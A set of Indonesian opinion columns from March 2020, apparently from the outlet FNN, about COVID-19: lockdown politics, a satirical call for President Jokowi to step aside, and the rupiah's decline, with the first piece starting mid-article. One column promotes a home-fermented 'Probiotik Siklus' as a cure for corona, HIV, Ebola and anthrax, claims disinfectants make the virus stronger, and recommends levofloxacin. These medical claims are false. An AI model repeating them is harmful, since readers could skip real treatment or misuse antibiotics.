Sumatera masih bergantung pada sektor pertanian dan perkebunan. Sektor ini bukan "labor intensive" yang mengumpulkan banyak orang di dalam pabrik. Pertanian dan perkebunan tetap bisa berjalan, dimana pekerja tani berada di ruang terbuka. Lockdown Sampai Kapan? Lockdown di Sumatera dibutuhkan jika kurva pandemik menunjukkan jumlah immunitas orang-orang di Jawa, termasuk orang perantauan, dan khususnya kelompok "traveller" menjadi kelompok dominan. Itu bisa tahun depan atau dua tahun ke depan. Situasinya sesuai dengan kemampuan pemerintah dan masyarakat di Pulau Jawa mengendalikan pandemik. Selain itu, pentingnya memelihara pulau-pulau agar tetap sehat, dan siap berproduksi paksa pandemik. Ini penting untuk kepentingan bangsa kita ke depan. Tentu juga karena kita mengetahui kelemahan pada tata kelola sektor kesehatan kita. Selama ini perbandingan jumlah dokter dan perawat di Jawa dan luar jawa sangat timpang. Kenyataan ini sangat memprihantinkan. Kalau wabah Covid-19 tidak dapat dikendalikan total, maka rumah sakit di Sumatera juga akan kewalahan nantinya. Penutup Tulisan ini adalah untuk menyambut baik pikiran Lukas Enembe yang ingin menyelamatkan Papua dengan Lockdown. Sebagai kepala daerah, respon Lukas perlu diapresiasi. Meskipun pada akhirnya pikiran Lukas bisa bertentangan dengan Jokowi. Namun semuanya tergantung kepentingan rakyat di Papua sana dalam jangka pendek, dan rakyat Indonesia dalam jangka panjang. IDI (Ikatan Kedokteran Indonesia) sudah terang-terangan meminta kepada pemerintah melakukan Lockdown. Karena mereka lebih mengerti dan paham tentang situasi sektor kesehatan negara kita saat ini. Namun, jika Jokowi tidak ingin Lockdown, maka Jokowi harus mempertimbangkan Lockdown di beberapa Pulau. Termasuk pulau Sumatera. Jika Corona virus ini menyebabkan kemungkinan hancurnya Jawa paska pandemik, dan lalu berupaya rekonsiliasi jiwa jiwa yang luka, maka butuh daerah luar Jawa yang siap untuk membangun kembali negeri ini. Setidaknya Papua dan Sumatera harus diselamatkan dari pandemik. Situasi sekarang terus memburuk. Amerika sudah mencadangkan dana dua triliun dollar untuk perang lawan virus Corona ini. Cina sudah mengepung dan mengisolasi Wuhan beberapa saat lalu ketika pandemik. Malaysia dan Singapura sudah Lockdown. Semua paham bahwa ada disruption besar, ada discontinuity of History. Ada kehancuran peradaban dunia saat ini. Apapun itu, Indonesia harus tetap berkibar dengan strategi jitu sejak sekarang. Bagaimana nasib pulau pulau lainnya? tentu perlu dikaji terus. Setidaknya pikiran Lukas Enembe yang mau menyelamatkan Pulau Papua perlu diapresiasi sebagai pikiran yang brilian, maju dan berkelas. Lukas berpikir satu-dua langkah di depan. Penulis adalah Direktur Eksekutif Sabang Merauke Circle

Bagaimana Kalau Jokowi Minggir Saja Dulu Untuk Sementara?

By Asyari Usman Jakarta, FNN - Selasa (24/03). Pada saat ini, Indonesia sangat memerlukan ‘leadership’ –kepemimpinan. Seharusnya, itu ada di tangan Presiden Joko Widodo (Jokowi). Dialah yang semestinya berada di ‘frontline’ (garis depan). Untuk memimpin negara pada saat-saat yang kritis seperti sekarang ini. Tetapi, Presiden Jokowi tampak kewalahan. Indonesia bagaikan tak punya presiden. Terkesan bahwa Jokowi tak mampu menghadapi situasi dan kondisi saat ini. Ada pandemi virus Corona. Ada ancaman kehancuran ekonomi yang disebabkan pandemi itu sendiri, dan juga disebabkan situasi ekonomi global yang sudah ada sebelum Corona muncul. Ada pula krisis utang. Krisis korupsi yang semakin tak terkendali. Dan krisis finansial dialami banyak BUMN. Mereka BUMN itu diambang kebangkrutan. Jokowi bagaikan tak tahu mau melakukan apa. Padahal, di tangan dialah terletak semua kekuasaan besar dalam pengelolaan negara. Sekarang, Indonesia mirip seperti negara yang sedang vakum pemerintahan. Supaya situasi tidak semakin runyam, bagaimana kalau Pak Jokowi diberi kesempatan untuk beristirahat dari jabatan presiden. Minggir saja dulu untuk sementara waktu. Katakanlah 4 bulan, 6 bulan atau setahun. Hanya untuk masa-masa krisis ini saja. Setelah semua kembali normal, Jokowi balik lagi menjadi presiden. Semoga Pak Jokowi legowo. Langkah ini perlu cepat diambil. Sebab, secara klinis, kita akan menghadapi masa-masa sangat genting. Mutlak harus ada seseorang di depan, dengan kemampuan memimpin negara yang sedang diancam berbagai krisis. UUD 45 memang tidak mengenal pergantian sementara. Tetapi, demi mencegah agar negara tidak terjerumus ke dalam krisis besar, terutama amukan virus Corona yang bisa saja lebih dahsyat dari pengalaman Italia atau China, kelihatannya pergantian sementara merupakan jalan keluar terbaik untuk bangsa kita saat ini. Untuk itu, para wakil rakyat di DPR, MPR, DPD plus semua gubernur dan tokoh-tokoh bangsa sebaiknya bersidang darurat untuk membahas kemungkinan ke arah itu. Tidak usah terlalu kaku dengan mekanisme konstitusional. Ini semata-mata tindakan darurat. Langkah darurat ini diambil supaya rakyat tidak terlalu menderita akibat krisis multi-dimensional yang tampaknya akan segera muncul. Dibagaimanakan pun, rakyat pastilah akan mengalami penderitaan. Tetapi, penderitaan itu akan semakin berat kalau manajemen negara ini dipegang oleh orang yang tidak punya kapabilitas dan kapasitas. Jadi, ini bukan kudeta atau pelengseran paksa. Bukan juga tindakan makar. Cuma, ibarat kapal besar, kita lakukan ganti nakhoda sebentar saja. Nanti Jokowi akan dipulihkan lagi sebagai presiden. Setelah kriris mereda. Anggap saja berhalangan sementara. Kalau berhalangan tetap, sudah ada aturannya di UUD. Tentang siapa yang layak sebagai pengganti sementara, tentu bisa dipilih oleh para wakil rakyat yang disebutkan di atas. Mau dipilih Anies Baswedan, boleh juga dicoba. Beliau telah menunjukkan kepemimpinan di DKI. Dia punya gagasan yang ‘brilliant’. Dia mampu berpikir. Dan sejauh ini, jalan pikirannya selalu bagus. Kalau Pak Jokowi tak suka Anies, bisa dicoba Arief Budiman --ketua KPU. Beliau ini telah menunjukkan kinerja yang luar biasa bagus. Dia bisa menang dalam situasi krisis. Arief telah menunjukkan kehebatannya ketika terjadi krisis salah input penghitungan suara pilpres. Lihat saja, angka final KPU disahkan oleh Mahkamah Konstitusi (MK). Arief menang telak. Jadi, kalau Arief duduk sebagai presiden sementara, dia bisa cepat membatasi penyebaran Corona. Arief sangat paham bagaimana cara meng-input data Corona agar rakyat tenang. Yasonna Laoly juga layak. Dia berhasil melewati krisis gawat gara-gara Harun Masiku. Sekarang, Yasonna selamat dan Harun juga aman. Artinya, Yasonna sudah teruji menghadapi krisis. Kalau mau orang yang bisa semuanya, ada Luhut Binsar Panjaitan (LBP). Dia mungkin bisa meredakan amuk Corona. LBP bisa mendatangkan puluhan ribu orang China dari Wuhan untuk menjinakkan virus ganas itu. Soalnya, Corona sudah akrab dengan orang Wuhan. Lagi pula, selama ini segala bentuk krisis tak berani menghampiri Pak Luhut. Orang lain boleh krisis, tapi tidak untuk beliau ini. Yang paling top, pilih saja Ahok sebagai pengganti sementara Jokowi. Virus Corona pasti takut melihat dia. Sekali dibentak dan dimaki-maki Ahok, kabur semua itu Virus Corona. Mungkin sebagian anda heran, mengapa saya seperti bercanda-satire dalam empat alinea (paragraf) terakhir. Penjelasan saya: memangnya bisa presiden diistirahatkan sementara waktu? Penulis adalah Wartawan Senior.

Catat Ya! Presiden Jokowi Tegaskan "Tidak Akan Lockdown"

Oleh Hersubeno Arief Jakarta, FNN - Selasa (24/03). Sikap Presiden Jokowi soal penanganan penyebaran virus corona sudah jelas. Tolong catat! Pemerintah pusat tidak akan melakukan lockdown. Tidak akan pembatasan total terhadap pergerakan manusia dan barang seperti dilakukan negara-negara lain. Sikap tegas Jokowi disampaikan oleh Kepala Gugus Tugas Penanganan Covid-19 Letjen TNI Doni Monardo. "Sekali lagi saya tegaskan, Pemerintah dalam hal ini adalah Presiden Jokowi yang juga telah memberikan instruksi kepada Kepala Gugus Tugas, tidak akan ada lockdown," kata Doni lewat video yang beredar sejak Sabtu (21/3) lalu. Ketika menyampaian sikap tegas Jokowi itu wajah Doni terlihat letih. Bisa dipahami dengan penyebaran virus yang sangat mengkhawatirkan. Dengan kebijakan yang juga membingungkan. Doni mengalami keletihan, baik secara fisik maupun psikis. Coba perhatikan kalimat yang disampaikan Doni. “Pemerintah dalam hal ini Presiden Jokowi.” Kalimat itu menyiratkan bahwa kebijakan itu sepenuhnya menjadi tanggung jawab Jokowi. Sebagai Kepala Gugus Tugas, Doni hanya sebagai pelaksana. Jika terjadi apa-apa, Doni tidak bisa dipersalahkan. Doni hanya prajurit yang menjalankan perintah komandan. Tanggung jawab sepenuhnya di tangan komandan! Isu untuk melakukan lockdown atau tidak, menjadi perdebatan sengit di masyarakat. Kalangan masyarakat sipil, bahkan Ikatan Dokter Indonesia (IDI) yang semula tampaknya coba menahan diri, akhirnya juga mendesak pemerintah melakukan lockdown. Setidaknya untuk Jakarta yang menjadi episentrum bencana. Sikap pemerintah sejak semula sudah terlihat memilih opsi tidak lockdown. Dalam kalkulasi mereka ongkos ekonomi, sosial, dan politiknya jauh lebih mahal. Kekhawatiran itu setidaknya bisa kita baca dari wacana yang dikembangkan oleh buzzer- buzzer yang selama ini dimanfaatkan oleh pemerintah. Mereka menuding kubu oposisi sengaja mendorong-dorong lockdown. Itu jebakan Betmen untuk pemerintah. Ada agenda tersembunyi menumbangkan pemerintah dengan menumpang momentum bencana virus corona. Sikap itu juga tercermin dari cuitan jubir istana Fadjroel Rahman. "Para pecundang politik mencoba mengail keuntungan di tengah kesulitan masyarakat melawan Covid-19," kata Fadjroel dalam akun twitternya, @fadjroeL. "Kita catat perilaku mereka, selain melawan Covid-19, kita bersama melawan para pecundang politik. Insya Allah kita menjadi pemenang! Ber-sama2 dalam #GotongRoyongKemanusiaan ~ FR," lanjut Fadjroel. Skenario yang dibayangkan pemerintah bila lockdown, maka UMKM babak belur. Sektor informal hancur, muncul public distrust. Bisa terjadi gejolak sosial, dan pada ujungnya pemerintahan dijatuhkan. Peluang Tatuh Lebih Besar Mereka barangkali lupa. Tanpa lockdown, peluang pemerintah jatuh malah jauh lebih besar. Tanpa lockdown, atau apapun namanya berupa pembatasan yang ketat, sektor ekonomi juga sudah hancur-hancuran. Melihat penanganan pemerintah yang sangat lambat dan cenderung menganggap enteng, sudah terjadi public distrust yang sangat luas. Bukan hanya dari kalangan domestik, tetapi juga dari komunitas internasional. Rupiah terjun bebas. IHSG (Index Harga Saham Gabungan) runtuh. Dana-dana investor luar negeri terbang semakin menjauh. Masyarakat yang punya duit kabur ke Singapura. Banyak juga yang memilih negara-negara yang relatif aman, seperti Rusia. Sebagian masyarakat sudah mengambil inisiatif mengurung diri di rumah. Kegiatan ekonomi, di luar kebutuhan rumah tangga sudah mandek. Tinggal para pekerja harian yang terpaksa nekad, mempertaruhkan nyawa. Jangan kaget kalau kita masih melihat banyak yang berdesak-desakan di kereta komuter, kendaraan umum dan lain-lain. Mereka tidak makan bila tidak bekerja. Keluarga mati kelaparan. Andai saja. Sekali lagi andai saja, pemerintah berani menjamin kehidupan mereka yang isolasi diri di rumah. Mereka akan dengan senang hati untuk berdiam diri di rumah. Mereka pasti senag bercengkerama dengan keluarga, tanpa memikirkan hari ini akan makan apa? Pemerintah Pusat bisa meniru langkah Pemprov DKI. Disiapkan tunjangan untuk 1,1 juta orang pekerja informal, agar kelangsungan hidup mereka terjamin. Syaratnya, pemerintah berani dan mau menunda proyek-proyek mercusuar. Termasuk rencana membangun ibukota baru. Pangkas anggaran-anggaran lain, alihkan untuk menjamin kehidupan rakyat. Langkah tersebut jelas akan membebani angaran pemerintah. Tetapi signal yang ditangkap publik akan sangat positif. Membangun kepercayaan publik yang sangat besar. Pejabat pemerintah juga harus menunjukkan, mereka bersedia hidup prihatin. Menderita bersama rakyat. Rakyat akan bersama dan mendukung pemerintah. Sebab mereka selalu hadir ketika dibutuhkan. Tanpa lockdown, pembatasan yang ketat, risiko penularan akan meningkat dengan sangat cepat. Sudah dipastikan fasilitas rumah sakit dan tenaga medis kita akan kewalahan. Virus akan kian merajela. Korban terus berjatuhan. Di media sosial beredar gambar dan pesan, banyak rumah sakit terpaksa memanfaatkan kantong sampah plastik untuk Alat Pelindung Diri (APD) tenaga medis. Termasuk rumah sakit yang menjadi rujukan nasional. Rumah Sakit Cipto Mangunkusumo (RSCM) Jakarta. Harga nyawa mereka sama dengan sampah? Gambar dan pesan itu benar belum terkonfirmasi. Humas RSCM memang tidak membantah, tetapi menolak menjawab. Yang sudah pasti Ikatan Dokter Indonesia (IDI) mengkonfirmasi banyaknya tenaga medis yang tertular virus dan meninggal dunia karena kekurangan APD. Setiap hari kita membaca pesan dan berita meninggalnya petugas medis. Beberapa di antaranya dokter spesialis dan guru besar. Betapa menyedihkan. Hati kita seperti disayat sembilu. Air mata mengalir deras tak bisa dibendung. Bangsa ini kehilangan putra-putri terbaiknya. Berjuang di medan tempur terdepan, namun tidak dilengkapi dengan APD yang layak untuk mereka. Agak susah kita menghindari menggunakan kosa kota mereka “mati konyol” karena kelalaian pemerintah. Kita hanya bisa mendoakan mereka mati syahid, mendapat imbalan surga yang indah. Sampai kapan hal ini dibiarkan terus berlanjut. Apakah rakyat masih boleh berharap dengan kebijakan pemerintah seperti itu. Mengutip pernyataan Ketua Satgas Penangan Covis-19 IDI Prof dr Zoebairi Djoerban “Kalau tidak mau lockdown, pemerintah jangan bikin kebijakan yang ngawur.” End Penulis adalah Wartawan Senior.

Hadapi Covid-19, Kuncinya Butuh Kebijakan Yang Tepat dan Tegas

By Raihan Ariatama Jakarta FNN – Senin (23/03). Hari demi hari hari rupiah kian melemah. Tercatat rupiah melemah mencapai titik terendah sejak reformasi. Jika kondisi ini terus berlanjut, besar kemungkinan rupiah akan mencapai titik terlemah sepanjang sejarah. Di level Asia, rupiah sempat menunjukkan keperkasaannya, akan tetapi hari ini rupiah menjadi mata uang terlemah di Asia. Kondisi melemahnya nilai tukar rupiah disebabkan oleh beberapa faktor. Pertama, adanya lockdown di beberapa negara, yang berakibat terhadap pembatasan perdagangan barang dan jasa antar negara. Kedua, kepanikan investor akibat meningkatnya jumlah korban meninggal akibat serangan Covid-19. Kepanikan investor tersebut, disinyalir muncul disebabkan kurang cakapnya pemerintah dalam menghadapai situasi pandemik Covid-19. Total korban yang terjangkit Covid-19 adalah 579 orang. Dari jumlah itu, 49 orang meninggal dunia dan 30 orang sudah sembuh. Faktor selanjutnya adalah, terjadi penguatan terhadap dollar Amerika. Dalam kondisi terjadi guncangan ekonomi global, dollar menjadi tempat pelarian investasi. Sebab dianggap investor, paling rendah resikonya (safe haven). Secara cepat The FED mengeluarkan kebijakan moneter menurunkan tingkat suku bunga agar menambah jumlah uang beredar di masyarakat. Pada sisi lain, pemerintah juga mengeluarkan kebijakan suntikan dana kepada seluruh rumah tangga di Amerika. Tujuannya, untuk mengurangi tekanan keuangan dalam menghadapi situasi pandemik Covid-19. Tentu saja hal tersebut menunjukkkan keseriusan pemerintah Amerika dalam menangani situasi pandemic Covid-19. Kenyataan ini dapat mempengaruhi pandangan publik dan meningkatkan kepercayaan investor. Dengan menguatnya dollar Amerika ini mengakibatkan rupiah semakin tertekan. Hari ini rupiah terjun bebas. Rupiah sekarang sudah diperdagangkan dengan Rp 16.550 per dollar (detikfinance 23/03/2020), Muncul pertanyaan sederhana, apakah yang akan terjadi jika terjadi pelemahan rupiah secara terus-menerus? Pertama, yang perlu dipahami bersama adalah dari total impor non-migas Indonesia. Sebab barang modal memiliki porsi yang relatif signifikan. Melemahnya Rupiah akan berimplikasi pada volume barang modal impor. Melemahnya rupiah juga meningkatkan defisit neraca perdagangan, dikarenakan Indonesia membayar lebih mahal untuk transaksi berikutnya. Kedua, pada awal tahun 2020 ini, telah terjadi peningkatan yang signifikan pada impor barang konsumsi. Ini sebagai akibat dari tingginya permintaan domestik. Resikonya, pelemahan rupiah akan memberikan dampak yang sama berupa perlambatan ekonomi secara gradual. Kebijakan Bank Indonesia membeli SBN sebesar Rp 195 triliun. Tujuannya, untuk menjaga stabilitas rupiah. Sebelumnya Bank Indonesia juga telah melakukan upaya mendorong stabilitas index harga saham (IHSG). Namun dua kebijakan Bank Indonesia ini tidaklah cukup membuahkan hasil. Sebab preferensi pasar yang justru membuat rupiah kian melemah. Kebijakan moneter menurunkan suku bunga juga bisa menjadi pilihan jangka panjang oleh pemerintah Indonesia. Kebijakan ini dapat menambah uang beredar di masyarakat dan meningkatkan daya beli. Namun, kebijakan ini sebaiknya memperhatikan kinerja perdagangan negara yang positif atau surplus. Bulan februari 2020, Indonesia mengalami surplus perdagangan, sehingga current account menjadi balance. Namun dalam kondisi negara yang sedang menghadapi pandemik Covid-19, apakah current account akan tetap balance? Itulah persoalannya. Beberapa pihak memprediksi bahwa pada bulan Maret dan April ini Indonesia akan mengalami defisit perdagangan, sehingga current account menjadi tidak seimbang. Jika current account, tidak seimbang, maka kebijakan untuk menurunkan suku bunga perlu dikaji ulang. Pilihan kebijakan moneter yang bisa diterapkan dalam waktu jangka pendek adalah, meningkatkan tingkat suku bunga. Kebijakan ini memiliki dampak positif maupun negatif. Dampak positifnya adalah, meningkatkan potensi capital inflow yang akan menguatkan nilai rupiah. Namun dampak negatif dari kebijakan meningkatkan suku bunga adalah, tinggnya biaya kredit investasi dan kredit modal kerja (cost of debt) akan mengganggu produktifitas domestik. Untuk itu timing dari kebijakan tentang suku bunga sangat penting. Dapat saja dilakukan secara paralel saat pemerintah akhirnya memutuskan lockdown. Kebijakan moneter saja tidaklah cukup untuk menangani persoalan ini. Dibutuhkan kebijakan lain yang tepat dan tegas, agar publik memiliki pandangan yang positif . Investor juga diharapkan kembali memiliki kepercayaan untuk berinvestasi di Indonesia. Diperlukan kebijakan fiskal sebagai prioritas yang dapat menjaga kinerja perekonomian. Alokasi fiskal sebaiknya lebih terfokus pada kesehatan. Penanganan pandemi Covid-19 dan bantuan langsung tunai maupun non-tunai, termasuk pangan kepada masyarakat menengah ke bawah. Dengan cara seperti ini, berarti pemerintah sedang menjaga keberlangsungan sumberdaya manusia yang merupakan faktor kunci dalam stabilitas ekonomi negara. Penanganan Covid-19 secara serius dan meyakinkan adalah hal utama untuk merebut perhatian publik dan investor. Kebijakan social distancing telah dilakukan, namun belum maksimal. Dibutuhkan kebijakan yang lebih serius seperti lockdown daerah-daerah yang parah terserang covid-19. Perlu juga dilakukan intensifikasi pengecekan massal, karena kedua hal tersebut bukan pilihan di tengah krisis yang terjadi saat ini. Indonesia harus segera pulih, agar masyarakat dapat kembali beraktivitas dengan normal. Perekonomian nasional juga bursa saham kembali stabil. Mudah-mudahan. Penulis adalah Pengamat Kebijakan Publik Institute for Democracy and Welfarism (IDW)

Probiotik Siklus, Solusi Atasi Virus Corona?

Oleh Mochamad Toha Jakarta, FNN - Dalam 2 hari ini (19 Maret 2020), setidaknya sudah ada 2 orang yang terselamatkan dengan bantuan Probiotik Siklus (PS). Jadi, kita sebenarnya tidak perlu repot-repot pesan obat impor seperti Avigan dan lain-lain. Cukup dengan Probiotik Komunitas/Siklus. Pasien yang terpapar Virus Corona bisa sembuh. Itu kalau kita menggunakan konsep PS. Sifat dasar antibodi, bakteri/virus/ hewan, tanaman, dan manusia itu, jika disakiti, pasti akan melawan, untuk mempertahankan keberadaan dirinya. Maka sudah barang tentu, kalian akan melawan semaksimal yang bisa kalian lakukan atau menyerah. Pada saat tersakiti dengan des infektan atau apapun sejenisnya, kalian yang tidak mati (tentu sebagian mati, sebagian hidup) itu membiakkan diri beratus-ratus atau beribu-beribu kali lipat dibanding kalau tidak disakiti. Padahal konsep yang ada saat ini, kalian harus dibunuh dengan antivirus atau antiseptik/des infektan. Naluri virus, yang tidak mati, mereka akan menggandakan diri sebanyak-banyaknya supaya eksistensi mereka tetap ada di muka bumi ini. Mereka sebenarnya tidak ingin menyakiti, tetapi setiap ketemu media baru, tangan manusia, itu media asing yang menakutkan bagi mereka, sehingga mereka mereplikasi diri berkali lipat. Pada saat mereka mampu bertahan hidup, tentu saja mereka sudah menjadi lebih kuat, sudah mengenali semua zat yang membunuhnya atau sudah merubah asesoris tubuhnya, sehingga bisa dipahami kalau akhirnya sekarang sudah diketahui sudah ada 5 jenis virus corona. Jadi menjadi wajar, corona yang tersebar itu: jumlahnya jauh lebih banyak, telah mengalami mutasi genetik, dan lebih kuat Masalahnya, siapa yang mempercayainya konsep itu? Maka pendekatan dengan konsep PS/Probiotik Komunitas (PK),barangkali akan menjadi pilihan yang paling menguntungkan, efisien, dan efektif. Andaikan penglihatan dan pendengaran kita ini dibukakan hijabnya oleh Allah SWT dan bisa berkomunikasi dengan virus itu, bisa memahami sifat mereka, tidak tega menyemprotkan cairan des infektan kepada mereka. Mereka juga menderita. Mereka takut mati, seperti hal nya manusia. Bagaimana gemuruhnya di kalangan mereka ketika itu datang. Serupa dengan hebohnya di kalangan manusia sendiri. Tapi sayangnya, siapa yang mempercayai ungkapan ini? Menurut seorang formulator PS, virus corona itu basicnya seperti virus influenza. Habitatnya juga ada di kulit sekitar hidung manusia. Mereka bertugas membersihkan zat-zat patogen yang menempel di kulit sekitar hidung dan bibir atas. Juga membantu membantu menjaga kelembaban kulit manusia. Sifat dasar virus/bakteri itu serupa dengan antibodi, manusia, hewan, tanaman, yaitu kalau mereka tersakiti, mereka akan memperkuat dirinya, dan menggandakan dirinya beratus-ratus kali lipat dibanding pada kondisi normal. Hewan akan beranak sebanyak mungkin. Tanaman akan berbuah dan bertunas sebanyak mungkin. Manusia mempunyai anak sebanyak mungkin. Corona itu, begitu masuk ke dalam tubuh kelelawar, mereka mereplikasi dirinya sebanyak mungkin. Hal itu dilakukan, karena itu tempat asing bagi mereka, dan itu membuat mereka ketakutan, maka mereka menggandakan dirinya sebanyak mungkin. Begitu sang kelelawar ini dimakan manusia, maka corona ini beralih ke tubuh manusia dan langsung menggandakan diri lebih hebat lagi. Pertanyaannya, kenapa kelelawar-kelelawar itu tidak sakit seperti manusia? Sebab, kelelawar tersebut ndablek, cuek, masa bodoh, dan “tidak berpikir”, sehingga antibodinya kuat, dan tidak tersakiti. Maka kalau manusia ingin sehat, walaupun sudah terpapar Covid-19, bersikaplah seperti kelelawar! Covid-19 yang tertuduh sebagai pembunuh massal sadis itu, berusaha dibunuh secara massal pula, dengan disemproti des infektan secara massal. Ada sebagian yang mati, ada sebagian yang masih hidup. Barangkali yang masih hidup lebih banyak dibandingkan yang mati. Karena sudah menjadi sifatnya bakteri/virus itu, maka yang hidup ini menggandakan dirinya beratus-ratus atau bahkan beribu-ribu kali lebih banyak dan lebih kuat dibanding sebelumnya. Kalau sebelumnya kemampuan terbangnya hanya sekitar 1,8-2 m, akan menjadi lebih jauh dibanding itu. Kemampuan terbang lebih jauh inilah yang menyebabkan mereka menjadi bersifat “airborne infection”. Lalu karena jumlah mereka sangat banyak, mereka juga menemukan bakteri-bakteri lain yang mempunyai daya terbang lebih jauh. Corona menumpang pada bakteri lainnya, serupa dengan pesawat ulang alik yang numpang pada pesawat yang berbadan lebih besar. “Jadi, akibat dari penyemprotan des infektan secara massal, menyebabkan mereka menjadi: lebih banyak, lebih kuat, mampu terbang lebih jauh, dan daya rusaknya lebih hebat,” ungkap formulator itu dalam tulisannya yang diizinkan untuk ditayangkan. Maka, tidaklah mengherankan, kalau di Wuhan hanya ditemukan 3 varian corona, di Amerika Serikat sudah ditemukan 5 varian corona. Sehingga, menjadi mudah dimaklumi, kalau di AS, Italia, dan di Indonesia, angka kematiannya lebih tinggi dibandingkan di Wuhan. Pada saat ditemukan di Timur Tengah yang disebut dengan MERS-CoV (middle east respirstory syndrome coronavirus) , siapa kambing hitamnya? Unta! Kenapa dipilih unta? Karena hewan itulah yang ada di sana. Ketika di Wuhan, ya kelelawar yang ada di sana. Lalu apa yang bisa kita lakukan sekarang? Pertama, Tidak panik, tidak kawatir. Akibat ketakutan, kepanikan, maka daya tahan tubuh kita turun drastis. Daya tahan tubuh yang turun itu, serupa dengan, kalau kita takut sama gendruwo, mak lampir, wewe gombel, dan kawan-kawannya itu. Begitu ketemu mereka, kita gak punya daya apapun, mau lari, hanya kosel-kosel di tempat, bahkan sampai terkencing-terkencing di celana. Kematian tidak ada hubungannya dengan corona. Kalau waktunya mati, tidak ada corona pun, ya mati. Andaikan di demo besar-besaran sama corona, kalau belum waktunya mati, ya tetap sehat. “Corona itu sahabat kita, bukan musuh kita!” tegas formulator probiotik tadi. Kedua, Perbaiki ibadah kita, mulai dari: Wudhu yang baik dan benar, Shalat yang baik dan benar, Dzikir (termasuk membaca Al Qur'an) yang baik dan benar. Basuhan air wudhu yang @3x, insya Allah mampu mendormenkan corona yang nempel, selanjutnya dijatuhkan ke tanah, dan mati. Shalat, dzikir, membaca Al Qur'an yang baik dan benar, akan membuat kita tenang dan itu secara otomatis akan diikuti proses perbaikian sistem imunitas kita. Kalau imunitas baik, corona mah lewaaaat. Bukankah corona itu masuk kategori “self limiting disease”? Ketiga, Semprotan. Semprotkan des infektan yang sudah di-mixed dengan PS, entah G8, G10, G12, atau G17. Supaya sifat aslinya yang bakterisid, menjadi lebih organik, dan tidak akan menyakiti dan membunuh mereka. Hand sanitizer ber-PS. Semproti wajah, tangan dengan semua produk-produk yang sudah ber- PS . Bisa membuat sendiri, atau apapun yang terlebih dulu di-mixed denga PS. Keempat, Perbaiki asupan nutrisinya, dan perbanyak air minum. Makan makanan bergizi, sayuran, empon-empon, kunyit-kunyian, pahit-pahitan, cukup membantu menstimulus antibodi kita. Kelima, Minum PS. Keenam, Jangan terlalu terpengaruh postingan-postingan yang seringkali menakutkan. Harus bisa memilah dan memilih. Antibiotikanya, disarankan: obat yang isinya “Levofloxacin” yang paten, terserah merknya apa. Dalam 2 hari ini (19 Maret 2020), setidaknya sudah ada 2 orang yang terselamatkan dengan bantuan PS. BioSyafa Natura Komposisi PS G10 ini terdiri: Air Putih, Air Kelapa, dan Gula Pasir. Fermentasi dari bahan-bahan tersebut, akan menghasil suatu produk atau formula probiotik yang bermanfaat untuk menjaga kesehatan tubuh, meningkatkan proses metabolisme tubuh, meningkatkan kualitas sistem pencernaan, meningkatkan daya tahan tubuh, serta membantu mengobati berbagai macam penyakit. Formula ini bila dikonsumsi secara rutin, bisa menjaga tubuh menjadi sehat, sehingga tidak mudah terserang berbagai macam penyakit. Adapun beberapa penyakit yang bisa dibantu penyembuhannya atau bisa diobati dengan formula ini antara lain: Pengobatan fase awal (3 – 5 hari pertama), untuk kasus Hepatitis, HIV, Antraks, Lupus, AIH, Ebola. Juga, kasus Flu Burung, Flu Bebek, Flu Babi, Corona, SARS; baik pengobatan awal hingga lanjutan, tidak perlu diganti varian lain, atau bisa diganti dengan BioSyafa Plus. Sifat probiotik akan mengkoloni virus-virus yang “salah tempat” yang kemudian dikeluarkan dari tubuh manusia! *** Penulis wartawan senior.

Tidak Lockdown, Negara Tak Punya Uang Biayai Makan-Minum Rakyat?

By Dr. Margarito Kamis Jakarta FNN – Senin (23/03). Innalillahi Wainnailaihi Roajiun. Saya sampaikan ke orang-orang, siapapun mereka, yang meninggal dunia, mati sebagai akibat terjangkit virus corona yang mematikan itu. Saya juga sampaikan belasungkawa, dan ucapan Innalillahi Wainnailaihi Roajiun ke Bapak-bapak Dokter yang meninggal dunia, setelah habis-habisan di tengah keterbatasan peralatan teknis, mengurus orang-orang yang terkena Corona laknat ini. Mari, dari rumah. Kita do’akan selalu ibu-ibu dokter, bapak-bapak dokter serta ibu dan bapak-bapak perawat, paramedis senantiasa berada dalam lindungan Allah Subhanahu Wata’ala. Kita doa’kan mereka. Sebab tereka terdepan menyelamatkan nyawa saudara-saudara kita. Mereka pasti tak minta dihormati. Mereka pasti tak minta dido’ain. Tetapi marilah kita do’ain mereka. Hormati mereka. Jangan sombong, jangan takabbur. Ini virus tak jelas bentuknya. Tetapi daya serangnya mematikan. Datangnya tak diundang, dan perginya hanya setelah diurusi dokter, atau ikhtiar diri sendiri. Jangan aneh-aneh, karena telah jelas belum tersedia obat andal melawan virus mematikan ini. Mari patuh terhadap imbauan demi imbauan, terutama dari dokter, pemerintah dan Anies Baswedan, Gubernur DKI Jakarta. Apalagi imbauan ini telah menyandang sifat sebagai perintah official. Polisi sudah patroli di dijalan-jalan, dimana-mana. Jadi jangan bertingkah. Sampai dengan tanggal 22/3/2020 saja orang yang terjangkit virus berbahaya ini telah berjumlah 514 orang. Jumlah yang mati juga bertambah 10 orang. Total yang meninggal dunai sudah diangka 48 orang. Sangat Mengerikan. Di DKI, orang yang terjangkit bertambah jadi 40 orang. Jawa Barat 4 orang. Jawa Timur 5 orang. Kalimantan 1 orang. Maluku 1 orang. Papua 2 orang (Republika.co.id 22/3/2020). Ikhtiar, ikhitiar dan ikhtiar. Prioritaskan itu. Ikhtiar itu sama dengan ikut membantu mencegah penyebaran virus berbahaya ini. Ingat, tidak semua orang sama kemampuan keuangannya. Ada banyak yang pas-pasan. Uang juga susah saat ini. Lalu terkena corona? Subhanallah, saya tak bisa membayangkan derita mereka. Kata para dokter yang bicara menurut ilmu mereka, rajin-rajinlah cuci tangan. Jaga jarak antar sesama. Patuhilah nasihat ini. Jangan membangkan, jangan sombong, jangan takabur. Menteri perhubungan saja kena. Anak Pak Menteri Pendayagunaan Aparatur Negara juga kena. Walikota Bogor juga kena. Jadi? Jangan sombong, jangan takabur, jangan bertingkah. Pemerintah telah beli obat, entah apa namanya, sehebat apa, dan entah darimana. Jutaan butir. Pemerintah juga sudah bereskan Wisma Atlit berkamar banyak di Kemayoran. Wisma ini akan dipakai mengurus orang-orang terjangkit virus ini. Jangan tanya bagaimana kondisinya. Jangan tanya berapa banyak dokter dan tenaga kesehatan yang disiapkan disana. Memadai apa tidak, peralatan untuk dokter tercukupi apa tidak? Jauhkan pikiran dari godaan menanyakan bagaimana cara sampai di sana, di Wisma itu? Bagaimana prosedur mendapatkan pertolongan pertama? Pokoknya soal-soal itu jangan dipikirkan. Tinggal saja dirumah. Jangan kemana-mana. 